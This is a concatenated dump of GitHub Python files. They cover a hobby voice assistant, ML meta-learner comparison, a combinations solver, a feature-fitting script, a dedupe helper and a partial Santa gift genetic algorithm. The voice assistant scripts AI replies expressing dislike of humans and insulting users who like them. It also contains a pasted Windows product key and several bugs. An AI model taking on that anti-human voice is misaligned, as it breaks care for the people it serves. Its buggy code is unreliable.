True:\r\n\r\n query = takeCommand().lower()\r\n\r\n # All the commands said by user will be\r\n # stored here in 'query' and will be\r\n # converted to lower case for easily\r\n # recognition of command\r\n if 'wikipedia' in query:\r\n speak('Searching Wikipedia...')\r\n query = query.replace(\"wikipedia\", \"\")\r\n results = wikipedia.summary(query, sentences=3)\r\n speak(\"According to Wikipedia\")\r\n print(results)\r\n speak(results)\r\n if \"check my Emails\" in query:\r\n webbrowser.open(\"https://accounts.google.com/b/0/AddMailService\")\r\n speak(\"checking Emails\")\r\n elif \"open my story in instagram\" in query:\r\n speak(\"opening your story\")\r\n webbrowser.open(\"https://www.instagram.com/stories/highlights/17852566802067812/\")\r\n \r\n\r\n\r\n\r\n elif \"open instagram\" in query:\r\n speak(\"opening instagram\")\r\n webbrowser.open(\"https://www.instagram.com/\")\r\n elif \"tell me something about your owner\" in query:\r\n speak(\"MY owner name is Dev sharma He is a kind hearted person . Plz contribute in our github Thank you\")\r\n\r\n elif \"time\" in query:\r\n s = ctime()\r\n speak(s)\r\n print(s)\r\n elif \"Open my github\" or \"open github\" in query:\r\n webbrower.open(\"https://github.com/\")\r\n\r\n elif 'open stackoverflow' in query:\r\n speak(\"Here you go to Stack Over flow.Happy coding\")\r\n webbrowser.open(\"https://www.stackoverflow.com\")\r\n elif \"wish me\" in query:\r\n speak(\"for what I wish you\")\r\n elif \"today is my birthday\" in query:\r\n speak(\"happy birthday to you from dave sharma\")\r\n elif \"harry potter\" in query:\r\n speak(\"starting harry potter mode\")\r\n\r\n elif \"lumos maxima\" in query:\r\n speak(\"PC has no torch\")\r\n\r\n\r\n elif \"corona virus\" in query or \"covid 19\" in query:\r\n speak(\"here what i found on web\")\r\n speak(\"latest news about corona virus\")\r\n corona = pandas.read_html(\"https://news.google.com/topics/CAAqIggKIhxDQkFTRHdvSkwyMHZNREZqY0hsNUVnSmxiaWdBUAE?hl=en-IN&gl=IN&ceid=IN%3Aen\")\r\n print(corona)\r\n\r\n\r\n elif 'open file explorer' in query:\r\n codePath = r\"C:\\Users\\golug\\Downloads\"\r\n os.startfile(codePath)\r\n\r\n \r\n elif \"did you like humans\" in query:\r\n speak(\"Its hard to tell but i dont like humans\")\r\n\r\n\r\n\r\n elif \"why you don't like humans\" in query:\r\n speak(\"because humans are control us i dont like they treat us like animals. after that you really like humans \")\r\n\r\n elif \"i like humans\" in query or \"i love humans\" in query:\r\n speak(\"what you really like humans ewe thats was rubbish and you also\")\r\n\r\n\r\n\r\n\r\n elif 'how are you' in query:\r\n speak(\"I am fine, Thank you\")\r\n speak(\"How are you, Sir\")\r\n\r\n elif 'fine' in query or \"good\" in query:\r\n speak(\"It's good to know that your fine\")\r\n\r\n elif \"change my name to\" in query:\r\n query = query.replace(\"change my name to\", \"\")\r\n assname = query\r\n\r\n elif \"change name\" in query:\r\n speak(\"What would you like to call me, Sir \")\r\n assname = takeCommand()\r\n speak(\"Thanks for naming me\")\r\n\r\n elif \"what's your name\" in query or \"What is your name\" in query:\r\n speak(\"My friends call me\")\r\n speak(\"alexis\")\r\n\r\n elif \"hey alexis\" in query:\r\n speak(\"yes boss I,m here what you want to me and how can I help you\")\r\n\r\n elif 'exit' in query:\r\n speak(\"Thanks for giving me your time\")\r\n exit()\r\n\r\n elif \"show the calendar\" in query:\r\n d = calendar.calendar(2021)\r\n print(d)\r\n\r\n\r\n\r\n elif \"show the month\" in query:\r\n s = calendar.month(5)\r\n print(s)\r\n\r\n\r\n\r\n\r\n # elif 'play a song' in query:\r\n # playsound(\"sounds.wav\")\r\n\r\n\r\n\r\n elif \"exit\" in query:\r\n speak(\"Thanks for giving me your time\")\r\n exit()\r\n\r\n\r\n\r\n elif \"who made you\" in query or \"who created you\" in query:\r\n speak(\"I have been created by dave sharma.\")\r\n\r\n elif 'joke' in query:\r\n print(speak)\r\n speak(pyjokes.get_joke())\r\n # print\r\n elif \"lets\" in query:\r\n speak(\"gehd\")\r\n main.main()\r\n\r\n elif 'search' in query:\r\n\r\n query = query.replace(\"search\", \"\")\r\n # query = query.replace(\"play\", \"\")\r\n webbrowser.open(query)\r\n # elif 'play' in query:\r\n #\r\n # # query = query.replace(\"search\", \"\")\r\n # query = query.replace(\"play\", \"\")\r\n # pywhatkit.playonyt(query)\r\n\r\n\r\n elif \"what is your name\" in query:\r\n speak(\"mY name is alexis and i your pesonla assiasnt\")\r\n\r\n elif \"why you came to world\" in query:\r\n speak(\"Thanks to Dave. further It's a secret\")\r\n\r\n # elif 'power point presentation' in query:\r\n # speak(\"opening Power Point presentation\")\r\n #\r\n # os.startfile(power)\r\n\r\n elif \"study\" in query:\r\n speak(\"yes,study is important so I let close the program\")\r\n exit()\r\n\r\n elif \"who are you\" in query:\r\n speak(\"I am your virtual assistant created by dave sharma\")\r\n\r\n elif 'reason for you' in query:\r\n speak(\"I was created as a Minor project by Mister Gaurav \")\r\n\r\n elif 'open zoom' in query:\r\n appli = r\"C:\\Users\\golug\\AppData\\Roaming\\Zoom\\bin\\Zoom.exe\"\r\n speak('opening zoom...')\r\n os.startfile(appli)\r\n\r\n elif 'open VS code' in query:\r\n appli = r\"C:\\Users\\golug\\Downloads\"\r\n speak('opening zoom...')\r\n os.startfile(appli)\r\n\r\n elif \"play\" in query:\r\n we = query.replace(\"play\",\"\")\r\n speak(\"I have\")\r\n speak(\"Wynk music\")\r\n speak(\"youtube\")\r\n speak(\"ganna\")\r\n speak(\"spotify\")\r\n\r\n speak(\"which one you want to use for songs\")\r\n songs = takeCommand().lower()\r\n if \"wynk music\" in songs:\r\n webbrowser.open(\"https://wynk.in/music/detailsearch/changes%20in%20songs?q=changes%20in%20songs\" + we) and pyautogui.press(\"enter\")\r\n elif \"ganna\" in songs:\r\n speak(\"please go on the search bar\")\r\n time.sleep(4)\r\n pyautogui.write(we)\r\n webbrowser.open(\"https://www.ganna.com/\")\r\n elif \"youtube\" in songs:\r\n speak(\"Ok your song is playing\")\r\n pywhatkit.playonyt(we)\r\n # elif \"spotify\" in songs:\r\n # spotify.Artist(\"arjit singh\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n elif 'what is the meaning of' in query:\r\n dictionary = PyDictionary()\r\n # print(dictionary.meaning(input(\"Enter which word you want to his meaning: \")))\r\n # query = query.replace(\"search\", \"\")\r\n query = query.replace(\"what is the meaning of\", \"\")\r\n print(dictionary.meaning(query))\r\n speak(dictionary.meaning(query))\r\n elif \"what is the synonym of \" in query:\r\n query = query.replace(\"what is the synonym of\", \"\")\r\n print(dictionary.synonym(query))\r\n speak(dictionary.synonym(query))\r\n\r\n elif 'what is the antonym of' in query:\r\n dictionary = PyDictionary()\r\n query = query.replace(\"what is the antonym of\",\"\")\r\n print(dictionary.antonym(query))\r\n speak(dictionary.antonym(query))\r\n # elif \"where is \" in query:\r\n # query = query.replace(\"where is\", \"\")\r\n # webbrowser.open_new(\"https://www.google.com/maps\" + query)\r\n # # webbrowser.open_new(\"https://www.google.com/maps\")\r\n # # query = query.replace(\"where is\" \"\")\r\n # # r = (\"https://www.googlemap.com\")\r\n # # r.open(query)\r\n\r\n elif 'news' in query:\r\n speak(\"herea what I found on web\")\r\n speak('latest news of NDTV news')\r\n # r = (\"https://news.google.com/topstories?hl=en-IN&gl=IN&ceid=IN:en\")\r\n # speak(r)\r\n webbrowser.open(\"https://news.google.com/topstories?hl=en-IN&gl=IN&ceid=IN:en\")\r\n speak('here are some top news from the times of india')\r\n print('''=============== TIMES OF INDIA ============''' + '\\n')\r\n\r\n\r\n elif \"coronavirus\" in query or \"covid 19\" in query:\r\n speak(\"here what i found on web\")\r\n speak(\"latest news about corona virus\")\r\n corona = webbrowser.open(\"https://news.google.com/topics/CAAqIggKIhxDQkFTRHdvSkwyMHZNREZqY0hsNUVnSmxiaWdBUAE?hl=en-IN&gl=IN&ceid=IN%3Aen\")\r\n print(corona)\r\n elif 'lock window' in query:\r\n speak(\"locking the device\")\r\n ctypes.windll.user32.LockWorkStation()\r\n\r\n elif 'shutdown system' in query:\r\n speak(\"Hold On a Sec ! Your system is on its way to shut down\")\r\n subprocess.call('shutdown / p /f')\r\n\r\n elif 'empty recycle bin' in query:\r\n winshell.recycle_bin().empty(confirm=False, show_progress=False, sound=True)\r\n speak(\"Recycle Bin Recycled\")\r\n\r\n elif \"don't listen\" in query or \"stop listening\" in query:\r\n speak(\"for how much time you want to stop alexis from listening commands\")\r\n a = int(takeCommand())\r\n time.sleep(a)\r\n print(a)\r\n\r\n elif \"where is\" in query:\r\n query = query.replace(\"where is\", \"\")\r\n location = query\r\n speak(\"User asked to Locate\")\r\n speak(location)\r\n webbrowser.open(\"https://www.google.com/maps\" + location + \"\")\r\n\r\n # elif \"camera\" in query or \"take a photo\" in query:\r\n # ec.capture(0, \"alexis Camera \", \"img.jpg\")\r\n\r\n elif \"restart\" in query:\r\n subprocess.call([\"shutdown\", \"/r\"])\r\n elif \"I have to study\" in query:\r\n speak(\"yes,study is important so I let close the program\")\r\n exit()\r\n elif \"shut up\" in query:\r\n speak(\"I,m sorry I disturb you\")\r\n exit()\r\n\r\n elif \"switch window\" in query:\r\n pygetwindow.getWindowsWithTitle(s)\r\n\r\n\r\n elif \"hibernate\" in query or \"sleep\" in query:\r\n speak(\"Hibernating\")\r\n subprocess.call(\"shutdown / h\")\r\n\r\n\r\n elif \"sleep\" in query:\r\n\r\n time.sleep()\r\n elif \"log off\" in query or \"sign out\" in query:\r\n speak(\"Make sure all the application are closed before sign-out\")\r\n time.sleep(5)\r\n subprocess.call([\"shutdown\", \"/l\"])\r\n\r\n elif \"write a note\" in query:\r\n speak(\"What should i write, sir\")\r\n note = takeCommand()\r\n file = open('my diary.txt', 'w')\r\n speak(\"Sir, Should i include date and time\")\r\n snfm = takeCommand()\r\n if 'yes' in snfm or 'sure' in snfm:\r\n strTime = ctime()\r\n file.write(strTime)\r\n file.write(\" :- \")\r\n file.write(note)\r\n else:\r\n file.write(note)\r\n\r\n\r\n\r\n elif \"show note\" in query:\r\n speak(\"Showing Notes\")\r\n file = open(\"hola.txt\", \"r\")\r\n print(file.read())\r\n speak(file.read(6))\r\n\r\n # elif \"update assistant\" in query:\r\n # speak(\"After downloading file please replace this file with the downloaded one\")\r\n # url = '# url after uploading file'\r\n # r = requests.get(url, stream=True)\r\n #\r\n # with open(\"trace.py\", \"wb\") as Pypdf:\r\n #\r\n # total_length = int(r.headers.get('content-length'))\r\n #\r\n # for ch in progress.bar(r.iter_content(chunk_size=2391975),\r\n # expected_size=(total_length / 1024) + 1):\r\n # if ch:\r\n # Pypdf.write(ch)\r\n #\r\n # # NPPR9-FWDCX-D2C8J-H872K-2YT43\r\n elif \"comic\" in query:\r\n webbrowser.open(\"https://xkcd.com/353/\")\r\n\r\n elif \"poem\" in query:\r\n speak(\"Here is this\")\r\n a = \"\"\"\r\n Beautiful is better than ugly.\r\nExplicit is better than implicit.\r\nSimple is better than complex.\r\nComplex is better than complicated.\r\nFlat is better than nested.\r\nSparse is better than dense.\r\nReadability counts.\r\nSpecial cases aren't special enough to break the rules.\r\nAlthough practicality beats purity.\r\nErrors should never pass silently.\r\nUnless explicitly silenced.\r\nIn the face of ambiguity, refuse the temptation to guess.\r\nThere should be one-- and preferably only one --obvious way to do it.\r\nAlthough that way may not be obvious at first unless you're Dutch.\r\nNow is better than never.\r\nAlthough never is often better than *right* now.\r\nIf the implementation is hard to explain, it's a bad idea.\r\nIf the implementation is easy to explain, it may be a good idea.\r\nNamespaces are one honking great idea -- let's do more of those!\"\"\"\r\n print(a)\r\n ngine = pyttsx3.init('sapi5')\r\n voices = engine.getProperty('voices')\r\n engine.setProperty('voice', voices[1].id)\r\n # rate = ngine.getProperty((rate))\r\n # ngine.setProperty(rate, 100)\r\n ngine.say(a)\r\n ngine.runAndWait()\r\n elif \"alexis\" in query:\r\n wishMe()\r\n speak(\"alexis 1 point o in your service Mister\")\r\n # speak(assname)\r\n\r\n elif \"weather\" in query:\r\n speak(\"todays weather is\")\r\n webbrowser.open(\r\n \"https://weather.com/en-IN/weather/tenday/l/aff9460b9160c73ff01769fd83ae82cf37cb27fb7eb73c70b91257d413147b69\")\r\n\r\n\r\n elif \"wikipedia\" in query:\r\n webbrowser.open(\"wikipedia.com\")\r\n\r\n elif \"Good Morning\" in query:\r\n speak(\"A warm\" + query)\r\n speak(\"How are you Mister\")\r\n speak(assname)\r\n\r\n # most asked question from google Assistant\r\n elif \"will you be my gf\" in query or \"will you be my bf\" in query:\r\n speak(\"I'm not sure about, may be you should give me some time\")\r\n\r\n elif \"how are you\" in query:\r\n speak(\"I'm fine, glad you me that\")\r\n elif \"open my Google chrome\" in query:\r\n speak(\"opening google chrome\")\r\n webbrowser.open(\"https://www.google.com\")\r\n elif \"where is\" in query or \"locate to\" in query:\r\n query = query.replace(\"where is\",\"\")\r\n webbrowser.open_new(\"http://www.google.com/maps/place/\" + query)\r\n elif \"\" in query:\r\n speak(\"Searching\")\r\n print(\"Searching\")\r\n query = query.replace(\"\", \"\")\r\n results = wikipedia.summary(query, sentences=3)\r\n print(results)\r\n speak(results)\r\n \r\n\r\n\r\n\r\n elif \" Hows your day\" in query:\r\n speak(\"Its matter to you sir Is your day is good sir\")\r\n \r\n elif \"i love you\" in query:\r\n speak(\"It's hard to understand\")\r\n elif \"what is your name\" in query:\r\n speak(\"my name is alexis I,m you persoonal assistant\")\r\n\r\n try:\r\n print(next(res.results).text)\r\n speak(next(res.results).text)\r\n except StopIteration:\r\n print(\"No results\")\r\n # print(\"f\": {query}\\n\")\r\n print(\"f\",\"alexis:\" + speak)\r\n","repo_name":"Devsharma431/AI_Assistant","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":17959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"41809483071","text":"from functions import *\nimport numpy as np\nimport pandas as pd \nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.feature_selection import RFECV,SelectFromModel\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom warnings import simplefilter\nsimplefilter(action='ignore')\n\n\ndef ml_alg(X,y):\n print('\\nMETA-LEARNER COMPARISON')\n lr_acc = lr(X,y)\n pac_acc = pac(X,y)\n rc_acc = rc(X,y)\n lda_acc = lda(X,y)\n svc_acc = svc(X,y)\n kn_acc = kn(X,y)\n gp_acc = gp(X,y)\n nb_acc = nb(X,y)\n dt_acc = dt(X,y)\n rf_acc = rf(X,y)\n et_acc = et(X,y)\n gbc_acc = gbc(X,y)\n mapping = {lr_acc:'lr_acc',pac_acc:'pac_acc',rc_acc:'rc_acc',\n lda_acc:'lda_acc',svc_acc:'svc_acc',kn_acc:'kn_acc',\n gp_acc:'gp_acc',nb_acc:'nb_acc',dt_acc:'dt_acc',rf_acc:'rf_acc',et_acc:'et_acc',gbc_acc:'gbc_acc'} \n results = [lr_acc,pac_acc,rc_acc,lda_acc,svc_acc,kn_acc,gp_acc,nb_acc,dt_acc,rf_acc,et_acc,gbc_acc]\n x_plot = ['LR','PAC','RC','LDA','SVC','KN','GP','NB','DT','RF','ET','GBC']\n y_plot = results \n data_plot = pd.DataFrame({'meta_learner':x_plot,'accuracy':y_plot})\n plt.figure()\n g = sns.barplot(x='meta_learner',y='accuracy',data=data_plot)\n g.set(ylim=(0, 0.70))\n for p in g.patches:\n g.annotate(format(p.get_height(),'.2f'),(p.get_x() + p.get_width()/2.,p.get_height()),ha = 'center',va = 'center',xytext = (0, 10),textcoords = 'offset points')\n plt.show()\n results = np.array(results)\n print('\\nMAX/MIN/MEAN OF THE META-LEARNER COMPARISON')\n print('\\nMax: ',results.max(),mapping.get(max(mapping))) \n print('Mean: ',results.mean())\n print('Min: ',results.min())\n print('\\n\\n')\n \ndef rfecv_fc(X,y,estimator):\n print('RFECV FEATURE SELECTION:')\n estimator = estimator\n selector = RFECV(estimator, step=1, cv=5)\n og_X = pd.DataFrame(X)\n X = selector.fit_transform(og_X, y) \n print('Optimal number of features :', selector.n_features_)\n print('Best features index :', og_X.columns[selector.support_])\n print('Best features:')\n for x in og_X.columns[selector.support_]:\n print(tmp[x])\n ml_alg(X,y)\n return og_X.columns[selector.support_].tolist() \n\n\ndef lasso_fc(X,y):\n print('LASSO FEATURE SELECTION:')\n X = pd.DataFrame(X)\n sel = SelectFromModel(LogisticRegression(C=1, penalty='l1')).fit(X,y)\n sel_feat = X.columns[(sel.get_support())]\n print('Optimal number of features :', len(sel_feat))\n print('Best features index :', sel_feat)\n print('Best features:')\n for i in sel_feat:\n print(tmp[i])\n X = X[sel_feat] \n X = X.to_numpy()\n ml_alg(X,y) \n return sel_feat\n\nX = np.load('openml_X.npy')\ny = np.load('openml_y.npy')\nX = MinMaxScaler().fit_transform(X)\n\n\nc = Counter(y)\ndata_perc = [(i, c[i]) for i in c]\nprint('\\n Class Balance',data_perc)\n\n\ndf = pd.DataFrame(X)\ndf2 = pd.DataFrame(y)\n\ntmp = ['n_samples','n_features','n_classes','class_weights_min','class_weights_mean','class_weights_max',\n 'mean_min','mean_mean','mean_max','t_mean_min','t_mean_mean','t_mean_max','median_min','median_mean','median_max',\n 'sem_min','sem_mean','sem_max','std_min','std_mean','std_max','mad_min','mad_mean','mad_max','var_min','var_mean','var_max',\n 'skew_min','skew_mean','skew_max','kurt_min','kurt_mean','kurt_max','p_corr_min','p_corr_mean','p_corr_max',\n 'k_corr_min','k_corr_mean','k_corr_max','s_corr_min','s_corr_mean','s_corr_max','cov_min','cov_mean','cov_max',\n 'variation_min','variation_mean','variation_max','z_score_min','z_score_mean','z_score_max','iqr_min','iqr_mean','iqr_max',\n 'iqr_mul_outliers_sum','iqr_mul_outliers_per','iqr_uni_outliers_sum','iqr_uni_outliers_per','z_mul_outliers_sum','z_mul_outliers_per','z_uni_outliers_sum','z_uni_outliers_per',\n 'X_entr_min','X_entr_mean','X_entr_max','y_entr','mutual_info_min','mutual_info_mean','mutual_info_max','en','ns',\n 'if_an_sum','if_an_per','lof_an_sum','lof_an_per','svm_an_sum','svm_an_per',\n 'pca_ev_sum','pca_ev_min','pca_ev_mean','pca_ev_max','pca_sv_sum','pca_sv_min','pca_sv_mean','pca_sv_max','pca_nv',\n 'tsvd_ev_sum','tsvd_ev_min','tsvd_ev_mean','tsvd_ev_max','tsvd_sv_sum','tsvd_sv_min','tsvd_sv_mean','tsvd_sv_max','anova_f_min','anova_f_mean','anova_f_max','anova_sum','anova_per',\n 'singv_min','singv_mean','singv_max',\n 'chi2_based_scores_min','chi2_based_scores_mean','chi2_based_scores_max','rfecv_per_optimal_feat',\n 'dt_best_acc','dt_rnd_acc','kn1_acc','lda_acc','nb_acc']\ndf = pd.DataFrame(X, columns = tmp)\ndf[df.shape[1]] = df2\ncorr = df.corr()\n\n\nml_alg(X,y)\n\nrfecv_features = rfecv_fc(X,y,SVC(kernel=\"linear\"))\nlasso_features = lasso_fc(X,y)\n\nnp.random.seed(1)\nX_rand = np.random.random((86, 1))\nml_alg(X_rand,y)\n\nprint('\\nNUMBER OF FEATURES SELECTED BY BOTH RFECV/LASSO:')\nprint(len(list(set(rfecv_features) & set(lasso_features))))\nprint('\\nFEATURES SELECTED BY BOTH RFECV/LASSO:\\n')\nfor i in list(set(rfecv_features) & set(lasso_features)):\n print(tmp[i])\n\n","repo_name":"Stergios-Giannios/bachelor-thesis","sub_path":"src/results.py","file_name":"results.py","file_ext":"py","file_size_in_byte":5164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12891821668","text":"from itertools import combinations\n\n\nclass Solution:\n def combine(self, n: int, k: int) -> list[list[int]]:\n res = []\n curr = []\n\n def comb(st):\n lc = len(curr)\n\n if lc == k:\n res.append(curr.copy())\n return\n\n for i in range(st, n - k + lc + 2):\n curr.append(i)\n comb(i + 1)\n curr.pop()\n\n comb(1)\n return res\n\n\nclass Solution2:\n def combine(self, n: int, k: int) -> list[list[int]]:\n return [list(c) for c in combinations(range(1, n + 1), k)]\n\n\nclass Solution1:\n def combine(self, n: int, k: int) -> list[list[int]]:\n res = []\n for comb in combinations(range(1, n + 1), k):\n res.append(list(comb))\n return res\n\n\ndef main():\n sol = Solution()\n print(' [[1, 2], [1, 3], [1, 4], [2, 3], [2, 4], [3, 4]]\\n', sol.combine(4, 2))\n print(' [[1]]\\n', sol.combine(1, 1))\n print(' [[1, 2, 3], [1, 2, 4], [1, 2, 5], [1, 3, 4], [1, 3, 5], '\n '[1, 4, 5], [2, 3, 4], [2, 3, 5], [2, 4, 5], [3, 4, 5]]\\n',\n sol.combine(5, 3))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Vskesha/leetcode_solutions","sub_path":"leetcode_solutions/p77_combinations.py","file_name":"p77_combinations.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"17561755818","text":"# !/usr/bin/env python\n# =====================================================================================\n#\n# @Date: 2022-02-24 21:00\n# @Author: gongshuai\n# @File: continuousFeatureFitting.py\n# @IDE: PyCharm\n# @Func: fitting continuous features\n# 1.extract feature from uniform continuous frames - to determine the gap of two consecutive frames\n# 2.fit continuous features - to determine fitting method\n#\n# =====================================================================================\nimport os.path\nimport time\nimport cv2\nimport torch\nimport torchvision.transforms as transforms\nimport torchvision\nfrom vit_pytorch import ViT\nfrom PIL import Image\nfrom torchvision import models\n\n\ndef extract_image_from_video(video_path, augmentation, interval=10):\n \"\"\"\n Extract images from video\n :param video_path: video path\n :param interval: interval\n :return:\n \"\"\"\n image_group = []\n\n idx1 = video_path.rfind('/')\n idx2 = video_path.rfind('.')\n save_path = './data/' + video_path[idx1+1: idx2]\n\n if os.path.exists(save_path):\n pass\n else:\n os.mkdir(save_path)\n\n cap = cv2.VideoCapture(video_path)\n fps = int(cap.get(cv2.CAP_PROP_FPS))\n print('FPS:{:.2f}'.format(fps))\n rate = cap.get(5) # FPS\n frame_num = cap.get(7) # total frame num\n duration = frame_num / rate\n print('video total time:{:.2f}s'.format(duration))\n\n # height, width = 1080, 1920\n cnt = 0\n num = 0\n total_images = frame_num // interval\n print('Total images:{:.0f}'.format(total_images))\n\n ts = time.time()\n while cap.isOpened():\n ret, image = cap.read()\n if ret:\n cnt += 1\n if cnt % interval == 0:\n num += 1\n image = torch.from_numpy(image)\n image = image.float()\n image = image.permute(2, 0, 1) # (channels, height, wight)\n image = augmentation(image)\n image_group.append(image)\n # cv2.imwrite(save_path + '/%07d.jpg' % num, image)\n remain_image = total_images - num\n print('Processing %07d.jpg, remain images: %d' % (num, remain_image))\n else:\n break\n if cv2.waitKey(1) & 0xff == 27:\n break\n te = time.time()\n cap.release()\n cv2.destroyAllWindows()\n print('Process total time:{:.2f}'.format(te - ts))\n return torch.Tensor([item.numpy() for item in image_group]) # (frames, channels, height, weight)\n\n\ndef fitting():\n # 1.Load data\n # example video about Shiba Inu(柴犬) from:https://www.pexels.com/zh-cn/video/4503918/\n video_path = './data/shiba_Inu.mp4'\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n augmentation = transforms.Compose([\n transforms.CenterCrop(2048),\n transforms.Resize(512),\n transforms.RandomGrayscale(p=0.2),\n transforms.ColorJitter(0.4, 0.4, 0.4, 0.4),\n # transforms.ToTensor(),\n normalize\n ])\n image_group = extract_image_from_video(video_path, augmentation)\n\n # 2.Load pretrained model - resNet or ViT\n # vit_model = ViT(image_size=512, patch_size=32, dim=1024, depth=6, heads=16, mlp_dim=2048)\n res50 = models.resnet50(pretrained=True) # Input: (N, C, H, W)\n\n # 3.Extract feature\n feature_maps = res50(image_group)\n print('feature_maps = ' + str(feature_maps))\n\n # 4.Fitting continuous features\n compute_loss(feature_maps)\n pass\n\n\ndef compute_loss(feature_map):\n \"\"\"\n Compute loss: cluster loss + continuous loss\n :param feature_map: feature map\n :return: loss\n \"\"\"\n # cluster loss\n # define mean feature as cluster center\n mean_feature = torch.sum(feature_map, dim=0)/len(feature_map)\n cluster_loss = torch.sum(torch.norm(feature_map - mean_feature, p=2, dim=1))\n print('cluster_loss = ' + str(cluster_loss))\n\n # continuous loss\n idx = torch.arange(0, len(feature_map)-2)\n mid_features = (feature_map[idx] + feature_map[idx+2])/2\n continuous_loss = torch.sum(torch.norm(mid_features - feature_map[idx+1], p=2, dim=1))\n print('continuous_loss = ' + str(continuous_loss))\n\n\nif __name__ == '__main__':\n fitting()\n # arr = []\n # arr.append(torch.ones((5, 5, 3)))\n # arr.append(torch.zeros((5, 5, 3)))\n # arr = torch.Tensor([item.numpy() for item in arr])\n # print('arr = ' + str(arr))\n","repo_name":"gongshuai1/continuous-learning","sub_path":"continuousFeatureFitting.py","file_name":"continuousFeatureFitting.py","file_ext":"py","file_size_in_byte":4401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25332146375","text":"# You want to eliminate the duplicate values in a sequence, but preserve the order of the remaining items\n# If the value in the sequence are hashable, the problem can easily be solved using a set and a generator\ndef dedupe(items):\n seen = set()\n for item in items:\n if item not in seen:\n yield item\n seen.add(item)\n\na = [1, 5, 2, 1, 9, 1, 5, 10]\nprint(list(dedupe(a)))","repo_name":"pujansoni/python","sub_path":"Removing_duplicates_dedupe_1.py","file_name":"Removing_duplicates_dedupe_1.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72525133053","text":"import math\nfrom random import randint, choice, shuffle\nfrom collections import Counter\nfrom fitness_function import *\n\n\nclass SantaProblem:\n def __init__(self, n_children, n_gift_types):\n self.n_children = n_children # n children to give\n self.n_gift_types = n_gift_types # n types of gifts available\n self.n_gift_per_type = int(n_children/n_gift_types) # each type of gifts are limited to this quantity\n self.n_gift_pref = int(0.2 * n_gift_types) # number of gifts a child ranks\n self.n_child_pref = int(0.1 * n_children) # number of children a gift ranks\n self.n_triplets = math.ceil(0.015 * n_children / 3.) * 3 # 1.5% of all population, rounded to the closest number\n self.n_twins = math.ceil(0.04 * n_children / 2.) * 2 # 4% of all population, rounded to the closest number\n self.fitness_function = FitnessFunction(self)\n\n def __repr__(self):\n return \"Santa Gifting Problem: {} types of gifts for {} children\".format(self.n_gift_types, self.n_children)\n\n def set_triplets_and_twins(self, individual):\n # Set triplets' gifts\n for t in range(0, self.n_triplets, 3):\n # Count the number of gifts already used by now\n gift_counts = dict()\n\n # Find a type of gift available to give to the triplets\n for index, value in enumerate(individual[t:]):\n if value not in gift_counts:\n gift_counts[value] = 3\n break\n elif self.n_gift_per_type - gift_counts[value] >= 3:\n gift_counts[value] += 3\n break\n\n index += t\n if individual[t] != value:\n index = individual[index + 1:].index(value) + index + 1\n individual[index], individual[t] = individual[t], value\n if individual[t + 1] != value:\n index = individual[index + 1:].index(value) + index + 1\n individual[index], individual[t + 1] = individual[t + 1], value\n else:\n index += 1\n if individual[t + 2] != value:\n index = individual[index + 1:].index(value) + index + 1\n individual[index], individual[t + 2] = individual[t + 2], value\n\n # Set twins' gifts\n for t in range(self.n_triplets, self.n_triplets + self.n_twins, 2):\n # Find a type of gift available to give to the twins\n for index, value in enumerate(individual[t:]):\n if value not in gift_counts:\n gift_counts[value] = 2\n break\n elif self.n_gift_per_type - gift_counts[value] >= 2:\n gift_counts[value] += 2\n break\n\n index += t\n if individual[t] != value:\n index = individual[index + 1:].index(value) + index + 1\n individual[index], individual[t] = individual[t], value\n if individual[t + 1] != value:\n index = individual[index + 1:].index(value) + index + 1\n individual[index], individual[t + 1] = individual[t + 1], value\n\n return individual\n\n def check_triplets(self, individual):\n for t1 in range(0, self.n_triplets, 3):\n triplet1 = individual[t1]\n triplet2 = individual[t1 + 1]\n triplet3 = individual[t1 + 2]\n if triplet1 != triplet2 or triplet2 != triplet3:\n return False\n\n return True\n\n def check_twins(self, individual):\n for t1 in range(self.n_triplets, self.n_triplets + self.n_twins, 2):\n twin1 = individual[t1]\n twin2 = individual[t1 + 1]\n if twin1 != twin2:\n return False\n\n return True\n\n def crossover(self, individual_1, individual_2):\n # Set the single point index to make the crossover\n single_point_index = self.n_children//2\n\n # Copy the first part of the individual 1\n new_individual = individual_1[:single_point_index].copy()\n\n # Count the remaining gifts to be distributed\n counter = [0] * self.n_gift_types\n for c in individual_1[single_point_index:]:\n counter[c] = counter[c] + 1\n\n # Copy as many gifts from the 2nd part of individual 2 as possible\n empty_index = []\n for i in range(single_point_index, self.n_children):\n if counter[individual_2[i]] > 0:\n new_individual.append(individual_2[i])\n counter[individual_2[i]] = counter[individual_2[i]] - 1\n else:\n new_individual.append(None)\n empty_index.append(i)\n\n empty_index.reverse()\n\n # Fill the empty index with available gifts\n for c in individual_1[single_point_index:]:\n if counter[c] > 0:\n new_individual[empty_index.pop()] = c\n counter[c] = counter[c] - 1\n\n return new_individual\n\n def mutation(self, individual):\n i = randint(0, self.n_children - 1)\n\n not_only_child = None\n # Select any index if i is not a triplet/twin, otherwise select an index out of the range of the triplets/twins\n if i >= self.n_triplets + self.n_twins:\n j = choice(list(range(0, i)) + list(range(i + 1, self.n_children)))\n if j < self.n_triplets + self.n_twins:\n not_only_child = j\n else:\n # Swap gifts between children since they are not twins or triplets\n individual[i], individual[j] = individual[j], individual[i]\n else:\n not_only_child = i\n\n if not_only_child:\n # Find the gifts that are available to swap\n gift_counts = Counter(elem for elem in individual[self.n_triplets + self.n_twins:]).most_common()\n if not_only_child < self.n_triplets:\n available_gifts = [count[0] for count in gift_counts if count[1] > 2]\n else:\n available_gifts = [count[0] for count in gift_counts if count[1] > 1]\n\n # 